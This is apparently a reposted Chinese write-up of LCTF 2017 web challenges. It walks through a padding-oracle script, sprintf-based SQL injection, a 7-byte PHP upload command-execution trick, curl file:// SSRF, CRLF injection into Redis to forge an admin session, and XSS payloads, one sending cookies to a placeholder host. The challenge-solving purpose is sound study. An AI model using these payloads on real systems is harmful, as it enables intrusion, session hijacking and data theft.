LCTF Web补题笔记(菜狗前进永不止步)

来源:互联网 发布:上汽 知乎 编辑:程序博客网 时间:2024/06/09 17:26

不得不说比赛真的挺难得…补题吧…

Simple blog

首先上来发现文件login.php和admin.php,但是没什么别的,想到文件泄露通过swp得到源码

login.php

<?phperror_reporting(0);session_start();define("METHOD", "aes-128-cbc");include('config.php');function show_page(){    echo '<!DOCTYPE html><html><head>  <meta charset="UTF-8">  <title>Login Form</title>  <link rel="stylesheet" type="text/css" href="css/login.css" /></head><body>  <div class="login">    <h1>后台登录</h1>    <form method="post">        <input type="text" name="username" placeholder="Username" required="required" />        <input type="password" name="password" placeholder="Password" required="required" />        <button type="submit" class="btn btn-primary btn-block btn-large">Login</button>    </form></div></body></html>';}function get_random_token(){    $random_token = '';    $str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";    for($i = 0; $i < 16; $i++){        $random_token .= substr($str, rand(1, 61), 1);    }    return $random_token;}function get_identity(){    global $id;    $token = get_random_token();    $c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);    $_SESSION['id'] = base64_encode($c);    setcookie("token", base64_encode($token));    if($id === 'admin'){        $_SESSION['isadmin'] = 1;    }else{        $_SESSION['isadmin'] = 0;    }}function test_identity(){    if (isset($_SESSION['id'])) {        $c = base64_decode($_SESSION['id']);        $token = base64_decode($_COOKIE["token"]);        if($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)){            if ($u === 'admin') {                $_SESSION['isadmin'] = 1;                return 1;            }        }else{            die("Error!");        }     }    return 0;}if(isset($_POST['username'])&&isset($_POST['password'])){    $username = mysql_real_escape_string($_POST['username']);    $password = $_POST['password'];    $result = mysql_query("select password from users where username='" . $username . "'", $con);    $row = mysql_fetch_array($result);    if($row['password'] === md5($password)){        get_identity();        header('location: ./admin.php');    }else{        die('Login failed.');    }}else{    if(test_identity()){        header('location: ./admin.php');    }else{        show_page();    }}?>

admin.php

<?phperror_reporting(0);session_start();include('config.php');if(!$_SESSION['isadmin']){    die('You are not admin');}if(isset($_GET['id'])){    $id = mysql_real_escape_string($_GET['id']);    if(isset($_GET['title'])){        $title = mysql_real_escape_string($_GET['title']);        $title = sprintf("AND title='%s'", $title);    }else{        $title = '';    }    $sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);    $result = mysql_query($sql,$con);    $row = mysql_fetch_array($result);    if(isset($row['title'])&&isset($row['content'])){        echo "<h1>".$row['title']."</h1><br>".$row['content'];        die();    }else{        die("This article does not exist.");    }}?><!DOCTYPE html><html><head>    <meta charset="utf-8">    <title>adminpage</title>    <link href="css/bootstrap.min.css" rel="stylesheet">    <script src="js/jquery.min.js"></script>    <script src="js/bootstrap.min.js"></script></head><body>    <nav class="navbar navbar-default" role="navigation">   <div class="navbar-header">      <a class="navbar-brand" href="#">后台</a>   </div>   <div>      <ul class="nav navbar-nav">         <li class="active"><a href="#">编辑文章</a></li>         <li><a href="#">设置</a></li>      </ul>   </div></nav>   <div class="panel panel-success">   <div class="panel-heading">      <h1 class="panel-title">文章列表</h1>   </div>   <div class="panel-body">      <li><a href='?id=1'>Welcome to myblog</a><br></li>      <li><a href='?id=2'>Hello,world!</a><br></li>      <li><a href='?id=3'>This is admin page</a><br></li>   </div>   </div></body></html>

第一步就是用login中的oracle padding attack,中间出了很多很多问题,只能爆出15位,第一位需要爆破,之前自己写的脚本死活通,现在重写改一下,原来是之前再发送的时候忘记了base64加密!!!蠢到死…
然后扫一遍就可以达到条件,将isadmin置1

import requestsimport reimport base64def make_iv(iv,num,pos):    ret = ''    ret += '0'*(15-pos)    ret+=chr(num)    for i in range(16-pos,16):        ret+=chr(ord(iv[i])^pos^(pos+1))    return rets = requests.session()login_url = 'http://111.231.111.54/login.php'headers= {    "Host": "111.231.111.54",    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0",    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",    "Accept-Encoding": "gzip, deflate",    "Referer": "http://111.231.111.54/login.php",    "Connection": "keep-alive",    "Content-Type": "application/x-www-form-urlencoded"}cookies ={    "td_cookie":"18446744069640386265",     "PHPSESSID":"vc16b97robdlk85ek3qbfudb37"}data={"username":"admin","password":"admin"}decodestr=base64.b64decode("dEhPNW9vV3hyczBwc1FhaQ==")mid = ''iv = '0'*16a=[]''''''for i in range(0,16):    for j in range(0,256):        temp_iv = make_iv(iv,j,i)        #print len(temp_iv)        temp_iv=base64.b64encode(temp_iv)        cookies ={            "td_cookie":"18446744069640386265",             "PHPSESSID":"d9r8bfjalqft2udaj5qoeune11",            "token":temp_iv        }        content = s.post(url=login_url,headers=headers,cookies=cookies).text        #print content,j        if "Error!" not in content:            print i,j^(i+1)            iv=base64.b64decode(temp_iv)            mid+=chr(j^(i+1))            a.append(j^(i+1))            break    print mid,len(mid)a=a[::-1]print a#a=[16, 25, 66, 10, 62, 48, 33, 69, 42, 89, 32, 27, 96, 18, 104]sss='dmin'+chr(0xb)*0xbkey = ''for i in range(len(sss)):    key+=chr(ord(sss[i])^a[i])what = ''for i in range(256):    temp_key = chr(i)+key    temp_key=base64.b64encode(temp_key)    cookies ={        "td_cookie":"18446744069640386265",         "PHPSESSID":"d9r8bfjalqft2udaj5qoeune11",        "token":temp_key    }    content = s.post(url=login_url,headers=headers,cookies=cookies).text

这里写图片描述

成功访问到了admin.php,然后一步就是sql注入了,猛一看真的以为是宽字节注入…但是不知道怎么都不对,然后看的题解….居然是今年新的洞,还是自己孤陋寡闻了,主要是利用了php中spritf函数的特性造成单引号逃逸,厉害了厉害了
格式化字符串简单的利用

<?php$num='tree';$location=5;$format = 'The %1$s cntains %2$02d monkeys';echo sprintf($format,$num,$location);?>

这里写图片描述

这里就比较厉害了,我们构造这样

所以,payload%1$'%s'中的'%被视为使用%进行 padding,导致了'的逃逸

通过fuzz得知,在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外。
如果能提前将%’ and 1=1#拼接入sql语句,若存在SQLi过滤,单引号会被转义成\’

select * from user where username = '%\' and 1=1#';

然后这句sql语句如果继续进入格式化字符串,\会被%吃掉,’成功逃逸
不过这样容易遇到PHP Warning: sprintf(): Too few arguments的报错
还可以使用%1$吃掉后面的斜杠,而不引起报错

这里写图片描述

真是厉害了厉害了….感觉自己太菜了,菜狗还是多学习吧!!!加油!!!
后面就是常规注入

http://111.231.111.54/admin.php?id=1&title=%1$' union select 1,(select f14g from web1.key limit 0,1),3%23

这里写图片描述

LCTF{N0!U_hacked_My_b1og}

这个题目总共用到了

源码泄露cbc字节翻转攻击sqli格式化字符串构造注入

学习学习,这真的是签到题????

“他们”有什么秘密呢?

首先看到提示

这里写图片描述

明确一下第一步任务

<!-- Tip:将表的某一个字段名,和表中某一个表值进行字符串连接,就可以得到下一个入口喽~ -->

后面有明显的报错,单引号被翻倍了,没法绕过,然后居然是直接利用即可

这里写图片描述

然后居然连schemainformation都过滤了,然后我想到了利用盲注,既然有回显就是order by盲注了,可以利用类似这样的

这里写图片描述

但是大麻烦是还是不知道列表结构,之前在MCTF中刚刚学习到可以利用已知的列名去爆库和表名polygon函数逆天大法,现在试了试并不可以,我自己的思路到这里就跪了。后面看了pcat大佬的题解,才发现原来类似polygon这样的函数并不只有一个

polygon、multipoint、multilinestring、multipolygon、linestring

然后我们利用的就是最后一个

这里写图片描述

由此可以知道库名是youcanneverfindme17,表名是product_2017ctf

然后之后我们可以利用报错注入!利用已知的列名求得下一个列的列名(之前确实没见过,长见识了!)利用如下

pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id))c)//得到Duplicate column name 'pro_name' pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name))c)//得到Duplicate column name 'owner'pro_id=0 and (select * from (select * from youcanneverfindme17.product_2017ctf a join youcanneverfindme17.product_2017ctf b using (pro_id,pro_name,owner))c)得到d067a0fa9dc61a6e

要是继续的话发现d067a0fa9dc61a6e这个被ban掉了…
然后学习了一波大佬绕过列名获得数据的方法,真心膜拜,下面可以利用两种思路,一个是最方便的直接查询,另一种就是比较复杂的,记得我们之前说的order by可以利用吗?可以写脚本爆破。
构造如下

pro_id=0 union select 1,(select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from product_2017ctf)e limit 1 offset 3),3,4 

这里写图片描述

得到下一个地址d067a0fa9dc61a6e7195ca99696b5a896.php
可以看到是一个文件上传的东西,而且我们发现只能上传7字节的内容,和js脚本无关,大佬找到题目原题,php执行命令

https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/tiny_hosting_web_250#eng-version

按顺序POST提交下面3条filename=p.php&content=<?=`*`;filename=bash&content=xxxfilename=bash2&content=ls /

再访问p.php,就可以看到
327a6c4304ad5938eaf0efb6cc3e53dc.php
原因如下

p.php的<?=`*`; 其中的*会展开成当前文件夹下的文件,并按字母顺序排列大致上等价于<?php echo `bash bash2 index.html p.php` ?>访问p.php的时候,bash就会执行bash2这个文件里的命令,后面的文件无视掉通过修改bash2这个文件的内容就可以构造命令执行。

再POST
filename=bash2&content=cat /3*
得到flag

<?php$flag = "LCTF{n1ver_stop_nev2r_giveup}";?>

萌萌哒报名系统

首先提示是IDE开发的什么系统…emmm,但是我觉得不行,扫描一下目录发现了.idea目录(其他的没什么用),查看一下,发现改目录的作用是存放项目的配置信息,包括历史记录,版本控制信息等。这里算是源码泄露的一种吧,workspace.xml中查看

这里写图片描述

然后可以下载下载源码包了,总共有member.php login.php 和 register.php三个文件,本来以为就是普通的注入,但是貌似并不是,首先还是列一下代码吧

register.php<?php    include('config.php');    try{        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);    }catch (Exception $e){        die('mysql connected error');    }    $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');    $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';    if (strlen($username) > 16 || strlen($username) > 16) {        die('Invalid input');    }    $sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');    $sth->execute([':username' => $username]);    if ($sth->fetch() !== false) {        die('username has been registered');    }    $sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');    $sth->execute([':username' => $username, ':password' => $password]);    preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);    if (count($matches) === 3 && $admin === $matches[0]) {        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');        $sth->execute([':username' => $username, ':identity' => $matches[1]]);    } else {        $sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');        $sth->execute([':username' => $username]);    }    echo '<script>alert("register success");location.href="./index.html"</script>';
member.php<?php    error_reporting(0);    session_start();    include('config.php');    if (isset($_SESSION['username']) === false) {        die('please login first');    }    try{        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);    }catch (Exception $e){        die('mysql connected error');    }    $sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');    $sth->execute([':username' => $_SESSION['username']]);    if ($sth->fetch()[0] === 'GUEST') {        $_SESSION['is_guest'] = true;    }    $_SESSION['is_logined'] = true;    if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {    }else{        if(isset($_GET['file'])===false)            echo "None";        elseif(is_file($_GET['file']))            echo "you cannot give me a file";        else            readfile($_GET['file']);    }?><html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"></head><body background="./images/1.jpg"><object type="application/x-shockwave-flash" style="outline:none;" data="http://cdn.abowman.com/widgets/hamster/hamster.swf?" width="300" height="225"><param name="movie" value="http://cdn.abowman.com/widgets/hamster/hamster.swf?"></param><param name="AllowScriptAccess" value="always"></param><param name="wmode" value="opaque"></param></object><p style="color:orange">你好啊,但是你好像不是XDSEC的人,所以我就不给你flag啦~~</p></body></html>
login.php<?php    session_start();    include('config.php');    try{        $pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);    }catch (Exception $e){        die('mysql connected error');    }    $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');    $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');    if (strlen($username) > 32 || strlen($password) > 32) {        die('Invalid input');    }    $sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');    $sth->execute([':username' => $username]);    if ($sth->fetch()[0] !== $password) {        die('wrong password');    }    $_SESSION['username'] = $username;    unset($_SESSION['is_logined']);    unset($_SESSION['is_guest']);    #echo $username;    header("Location: member.php");?>

看到界面是要先申请才能在login.php中登录的,因为尝试在login.php中直接联合查询注入失败了,确实不知道是什么姿势,而且我们发现只有在申请的时候这样

这里写图片描述

只有身份不是GURST才行,但是随机生成的序列我们是不可能预测到的!这就很尴尬了。看了看题解,才明白居然是类似条件竞争的东西,之前一直没注意
这里写图片描述

我们先插入了username和password,而identity是后续插入的,原子性就被破坏了,但是怎么办呢!这里提及了当preg_match函数在匹配大量的正则表达时候会卡死,这样原子性就被破坏了,我们匹配大量正则的时候进行登录,这个时候identity是空串,然后就完成了绕过
重要构造如下,申请后在运行过程中访问登录

username=hellopassword=hellocode="xdsec"+5000*"###A"

绕后用php的伪协议构造文件包含得到config.php中的flag

http://123.206.120.239/member.php?file=php://filter/convert.base64-encode/resource=config.php

解密得到flag

<?php$user = "xdsec";$pass = "xdsec";$flag = "LCTF{pr3_maTch_1s_A_amaz1ng_Function}"?>

其中pre_match的部分资料在这
http://bobao.360.cn/learning/detail/4586.html

签到题

扫描了一下没什么特别的,只有本地的test.php,主页面是一个输入一个网址得到内容的东东,但是貌似过滤了127.0.0.1和localhost什么的。但是也不知道要干啥,看到提示是本地,猜测是找到本地的文件,猜测是过滤了host,然后再curl了一下,之前没接触过这个,所以其实并不怎么会这个,参看wp了…首先放一下出题人的代码了

<?php if(!$_GET['site']){     echo <<<EOF <html> <body> look source code: <form action='' method='GET'> <input type='submit' name='submit' /> <input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/> </form></body></html> EOF;     die(); }$url = $_GET['site']; $url_schema = parse_url($url); $host = $url_schema['host']; $request_url = $url."/"; if ($host !== 'www.baidu.com'){     die("wrong site"); }$ci = curl_init();curl_setopt($ci, CURLOPT_URL, $request_url);curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);$res = curl_exec($ci);curl_close($ci);if($res){     echo "<h1>Source Code:</h1>";     echo $request_url;     echo "<hr />";     echo htmlentities($res); }else{     echo "get source failed"; } ?>

这里利用了parse_url函数分析网址,不管怎么换,貌似host就是www.baidu.com,代码也就印证了想法,而且百度后面就是加上了一个/
首先必须要讲一讲parse_url函数(之前完全不知道这个函数,还是自己孤陋寡闻了)

这里写图片描述

解法一

这里就有好玩的东西
首先我们看一下parse_url的一个特性,当同时出现@之后该函数默认匹配后一个为host

<?php$url='http://username:password@hostname1@hostname2';$content = parse_url($url);var_dump($content);?>

这里写图片描述

然后我们看一下curl的特性(非常有趣的),当我们同时出现多个@(也就是我们认为的host的时候,curl只承认第一个!!!)例子如下

curl file://username@127.0.0.1@whatafuck/var/www/html/flag.php

发现是可以找到东西的!非常神奇,这样就可以构造代码注入了,我们再考虑加上的/,只需要加上?或者是#就可以吧这个/当成某一个元素的内容了,最后构造payload如下

file://username:password@localhost@www.baidu.com/etc/flag?

这里写图片描述

方法二

来自于原作者的出题思路

1.file协议读取本地文件2.绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件3.截断url后面拼接的/, GET请求, 用?#都可以

payload如下

file://www.baidu.com/etc/flag?

这里写图片描述

L PLAYGROUND

很可疑再做的时候题目已经关闭了,这里主要还是自己学习一波好了

官方的环境说明

服务器外网只开启22、80端口,防火墙内开了6379、8000端口。22端口是服务器的ssh端口,80端口是nginx,为了提高服务可用性和日志记录。内网8000端口是我们模拟的未上线的开发环境,6379端口是没有密码的redis服务。

源码介绍

源码在ctf_django和ctf_second两个文件夹,首先把ctf_django的settings_sess.py文件名更改为settings.py,然后开始运行。这里使用gunicorn是为了使web服务更加健壮。
nginx相关配置文件如下:

        upstream app_server {                server unix:/home/grt1st/ctf_django/ctf_django.sock fail_timeout=0;        }        server {                listen 80;                server_name localhost;                keepalive_timeout 5;                location ~* \.(py|sqlite3|service|sock|out)$ {                        deny all;                }                location /static  {                        alias /home/grt1st/ctf_django/static/;                }                location / {                        add_header Server Django/1.11.5;                        add_header Server CPython/3.4.1;                                                proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;                        proxy_set_header Host $host;                        proxy_set_header X-Real-IP $remote_addr;                        proxy_set_header X-Scheme $scheme;                        proxy_redirect off;                        proxy_pass http://app_server;                }        }

将以下内容保存为gunicorn.service文件名,放在ctf_django目录下。

[unit]Description=gunicorn daemonAfter=network.target[Service]User=nobodyGroup=nogroupWorkingDirectory=/home/grt1st/ctf_firstExecStart=/usr/local/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi[Install]WantedBy=multi-user.target

然后进入目录,启动服务。

cd /home/grt1st/ctf_first/sudo /home/grt1st/.conda/envs/ctf/bin/gunicorn --workers 3 --bind unix:/home/grt1st/ctf_django/ctf_django.sock ctf_django.wsgi

这里还需要虚拟环境,python3.4.1,我使用的是anaconda。启动虚拟环境source activate ctf,然后启动ctf_second:python ./ctf_second/ctf_second.py

解题步骤

访问网址,我们可以看到网页如图

这里写图片描述

值得注意的是两点,一个是user名字,还有一个You can input any url you like。

我们在输入框随便输入sina.com,可以看到返回内容:

这里写图片描述

打开f12开发者工具可以看到

这里写图片描述

我们在公网上开个端口,查看来自服务器的请求,这里我使用的是云服务器nc -l -p 12345,然后我们输入公网ip:12345。

可以在我们的云服务器上看到:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345GET / HTTP/1.1Host: 123.206.60.140:12345User-Agent: python-requests/2.18.4Connection: keep-aliveAccept: */*Accept-Encoding: gzip, deflate

可以看到这个请求来自于python的requests库。

于是我们尝试通过构造特殊的url来打进内网,常见的绕过比如直接127.0.0.1,或者是进行一些进制转换、302跳转等等,但是我们会发现,这些都被拦截了。仔细分析页面的源代码,我们会看到页面里有一个图片,那么这里是否可能存在一个目录穿越、任意文件读取漏洞呢?

尝试http://localhost/static/、http://localhost/static../、http://localhost/static../manage.py,返回403;http://localhost/static../xxx,返回404。

在网站响应的http头部可以看到Server头部信息CPython3.4.1。由于python3.x的特性,会在pycache目录下存放预编译模块,于是依次下载文件:

http://localhost/static../__pycache__/__init__.cpython-34.pyc、http://localhost/static../__pycache__/urls.cpython-34.pyc、http://localhost/static../__pycache__/settings.cpython-34.pyc

通过uncompyle6反编译pyc得到python文件,再依次下载需要的文件:views.cpython-34.pyc、forms.cpython-34.pyc、html_parse.cpython-34.pyc、sess.cpython-34.pyc、safe.cpython-34.pyc。

分析代码可知,只有我们的user名为administrator才可得到flag,而这个用户名是不可能生成的。所以我们剩下的思路就是改变session,而这里session保存在redis中。从settings.py里我们可以知道这里使用的是django-redis-sessions

很多人可能不知道,在linux中0代表我们本机的ip地址,我们可以本地测试一下:

➜  ~ ping -c 4 0PING 0 (127.0.0.1) 56(84) bytes of data.64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.026 ms64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.043 ms64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.028 ms64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.050 ms--- 0 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3037msrtt min/avg/max/mdev = 0.026/0.036/0.050/0.012 ms

于是我们尝试输入0,可以看到我们已经成功进入了内网,虽然目前来看我们还是离flag很远。因为我们无法控制服务器http请求的内容,无法进行redis操作。
写一个脚本,看一下内网有什么服务

import requestsfrom lxml import etreeimport res = requests.Session()url = "localhost"pattern = re.compile(r'[Errno 111] Connection')def get_token(sess):    r = sess.get(url)    html = etree.HTML(r.text)    t = html.xpath("//input[@name='csrfmiddlewaretoken']")    try:        token = t[0].get('value')    except IndexError:        print("[+] Error: can't get login token, exit...")        os.exit()    except Exception as e:        print(e)        os.exit()    return tokenfor i in 10000:    payload = {'csrfmiddlewaretoken': get_token(s), 'target': '0:%i' % i}    r = s.post(url, data=payload)    if re.search(pattern, r.text):        print(i)

可以看到服务器还开了8000端口和6379端口,6379端口应该是redis。这里我们输入0:8000看看会返回什么:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <form action="/" method="get"> <input type="text" name="url" id="url" > <input type="submit" value="submit"> </form> </body> </html>

看起来是一个GET方式的表单,这里我们传递表单的参数看一下0:5000?target=http://baidu.com:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

我们看到返回了内容,在用云服务器试一下nc -l -p 12345,输入参数0:5000?target=http://公网ip:12345:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>timed out</p> </body> </html>

服务器请求timed out,再看服务器:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345GET / HTTP/1.1Accept-Encoding: identityConnection: closeUser-Agent: Python-urllib/3.4Host: 123.206.60.140:12345

可以看出服务端使用的是urllib、python版本3.4,可能存在http头部注入。简单的poc:”0:5000?target=http://123.206.60.140%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345“,看到服务器端:

[grt1st@VM_14_12_centos ~]$ nc -l -p 12345GET / HTTP/1.1Accept-Encoding: identityConnection: closeUser-Agent: Python-urllib/3.4Host: 123.206.60.140X-injected: headerx-leftover: :12345
我们成功的进行了http头部注入,可以拿来操纵redis。那我们怎么通过0:5000redis呢?看来要通过另一个ssrf漏洞。这里同样的对进制转换进行了过滤,但是我们可以通过302跳转构造ssrf。同样的,在我们的云服务器上,通过flask进行简单的测试:
from flask import Flaskfrom flask import redirectfrom flask import requestfrom flask import render_templateapp = Flask(__name__)app.debug = True@app.route('/')def test():    return redirect('http://127.0.0.1:80/', 302)if __name__ == '__main__':    app.run(host='0.0.0.0')

看到返回:

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title></title> </head> <body> <p>我觉得可以</p> </body> </html>

那我们这里再次成功进行了ssrf漏洞,但是对redis的攻击类似与盲注,我们无法看到结果。

于是根据得到的源码,本地搭建环境,并安装django-redis-sessions。

先访问本地,之后查看redis储存的键值对。

redis-clikeys *get xxxxxxxxxx

看到返回的字符串像是经过base64后的:NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2UjARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg==
解码

Python 3.6.2 (default, Jul 20 2017, 03:52:27) Type 'copyright', 'credits' or 'license' for more informationIPython 6.2.1 -- An enhanced Interactive Python. Type '?' for help.In [1]: import base64In [2]: a = "NzVjZmFlYmY5MmMzNmYyYjRiNDlmODIzYmVkMThjNWU1YWI0NzZkYTqABJUbAAAAAAAAAH2U   ...: jARuYW1llIwNMTkzMGVhMzFlNDFmMJRzLg=="In [3]: base64.b64decode(a)Out[3]: b'75cfaebf92c36f2b4b49f823bed18c5e5ab476da:\x80\x04\x95\x1b\x00\x00\x00\x00\x00\x00\x00}\x94\x8c\x04name\x94\x8c\r1930ea31e41f0\x94s.'

对比网页里的hello, uesr: 1930ea31e41f0,我们可以把用户名替换为administrator。

于是通过分析代码逻辑,修改sess.py,不产生随机字符串而是直接返回administrator。于是我们清除cookie,重新启动本地的django并监控redis:redis-cli monitor,得到administrator的序列化字符串”OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==”

所以我们可以通过http头部注入执行redis命令,创建用户名为administrator的键值对。
我们云服务器端的302跳转地址如下:http://127.0.0.1%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==%0d%0ax-leftover:%20:6379/,拆开看,即set 6z78up4prpcderqrsq0rce35wwdnhg50 OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg==

但是这里实际上有一个坑,url太长会报错:UnicodeError: label empty or too long,报错的文件在/usr/lib/pythonx.x/encodings/idna.py,报错在这里:

        if 0 < len(label) < 64:            return label        raise UnicodeError("label empty or too long")

所以我们要控制url长度,比如通过append来给键加值,基本缩略如http://0%0d%0aset%206z78up4prpcderqrsq0rce35wwdnhg50%20值%0d%0a:6379。依旧很长,因为整个键名就非常长,这里我们也尝试缩短。

尝试: http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379、http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379、http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379、http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379、http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379、http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379

即可进行拼接,创建文件flask_poc.py:

from flask import Flaskfrom flask import redirectfrom flask import requestfrom flask import render_templateapp = Flask(__name__)app.debug = True@app.route('/redis')def test():    return redirect('http://0%0d%0aset%20h1234566%20OGIzY2Y0ZWFkOGI1MzExZ%0d%0a:6379', 302)@app.route('/redis1')def test1():    return redirect('http://0%0d%0aappend%20h1234566%20DdlMDRkYjNiOGM0NWM%0d%0a:6379', 302)@app.route('/redis2')def test2():    return redirect('http://0%0d%0aappend%20h1234566%202MGM3YWRhOWJjMDqAB%0d%0a:6379', 302)   @app.route('/redis3')def test3():    return redirect('http://0%0d%0aappend%20h1234566%20JUbAAAAAAAAAH2UjAR%0d%0a:6379', 302)@app.route('/redis4')def test4():    return redirect('http://0%0d%0aappend%20h1234566%20uYW1llIwNYWRtaW5pc%0d%0a:6379', 302)    @app.route('/redis5')def test5():    return redirect('http://0%0d%0aappend%20h1234566%203RyYXRvcpRzLg==%0d%0a:6379', 302)if __name__ == '__main__':    app.run(host='0.0.0.0')

本地测试,可以看到

127.0.0.1:6379> keys *1) "ubar4t1tpicq8152csdr351pabbkl0a6"2) "h1234566"127.0.0.1:6379> get h1234566"OGIzY2Y0ZWFkOGI1MzExZ"127.0.0.1:6379> get h1234566"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM"127.0.0.1:6379> get h1234566"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqAB"127.0.0.1:6379> get h1234566"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjAR"127.0.0.1:6379> get h1234566"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc"127.0.0.1:6379> get h1234566"OGIzY2Y0ZWFkOGI1MzExZDdlMDRkYjNiOGM0NWM2MGM3YWRhOWJjMDqABJUbAAAAAAAAAH2UjARuYW1llIwNYWRtaW5pc3RyYXRvcpRzLg=="

修改本地cookies sessionid的值为h1234566,已经成功。

于是我们在网址上分别进行输入0:5000?target=公网ip/redis、redis1、2…

然后修改cookies,成功得到flag。

讲道理…真的吓死我了….真是复杂的一逼,而且我自己对ssrf还不是很熟悉,大概过了一下思路就一路懵逼了,真是太菜了,在此复制一下大佬的wp,后面继续学习(估计什么时候明白了flask、redis和ssrf才会回来吧)

wanna hack him?

又是XSS,结果又又又错过了,总是做不出XSS题目

解法一

利用dangling markup attack。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload

<img src='http://yourhost/?key=

这样因为标签里的src未闭合所以会把后面的html代码也当做src属性的一部分直到遇到下一个单引号,所以我们可以拿到管理员的nonce

这里写图片描述

拿到nonce后就是常规XSS操作了。

解法二

因为这题的nonce是根据session生成的,所以我们可以用标签来Set-Cookie,把bot的PHPSESSID设置成我们的,这样bot的nonce就和我们的一样。可以通过preview.php拿到我们的nonce。
payload

<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/"><script nonce="yournonce">(new Image()).src='http://yourhost/?cookie='+escape(document.cookie)</script>

这里写图片描述

关注我blog接下来的详细分析: http://math1as.com/


感受

本届LCTF出的可以说是我见过最走心的比赛了,很多漏洞都是比较新的,2016-2017年爆出来的,非常有趣,真是看到了巨大的差距,全场基本上都不会,全场签到都不会,被吊打,弱膜各位巨佬,学习一波姿势跪了










【未完待续】

原创粉丝点击